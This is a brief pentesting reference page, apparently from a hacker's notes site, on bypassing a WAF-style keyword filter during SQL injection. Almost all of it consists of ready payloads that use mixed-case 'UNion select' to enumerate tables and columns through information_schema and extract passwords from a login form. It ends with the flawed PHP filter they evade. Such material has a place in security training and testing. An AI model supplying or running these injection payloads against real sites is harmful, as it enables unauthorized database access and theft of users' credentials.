> For the complete documentation index, see [llms.txt](https://itrp19-notes.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/sql-injection/bypassing-sql-filters.md).

# Bypassing SQL Filters

### UNION Filters

Lets say we are testing a login form and it returns an error whenever we try to execute UNION SELECT. This suggest that there is a WAF filtering the queries so we would use Union instead.

```
Email=’ UNion select 1,2,3,concat(command,
"@test.com") -- -
```

```
Email=' UNion select
1,2,3,concat(table_name, "@test.com") FROM
information_schema.tables where
table_schema="databasename" limit 1,1 -- -
```

```
Email=' UNion select
1,2,3,concat(column_name, "@test.com")
FROM information_schema.columns where
table_name="tablename" limit 2,1 -- -
```

```
Email= ' UNion select
1,2,3,concat(password, “@test.com”) FROM
tablename limit 1,1 -- -
```

You can also use \[GROUP\_CONCAT] instead of \[concat] as it combines entire column in one result.

\[union] filter is below:

```
if(strpos($user,"UNION") ||
strpos($user,"INFORMATION_SCHEMA") ||
strpos($user,"union") ) { 
echo "Error"; die; 
}
```

Notice that the filter prohibits \[“UNION”, “INFORMATION\_SCHEMA”, and “union”] as characters hence if you modify on the \[union] command a bit you can easily bypass it.


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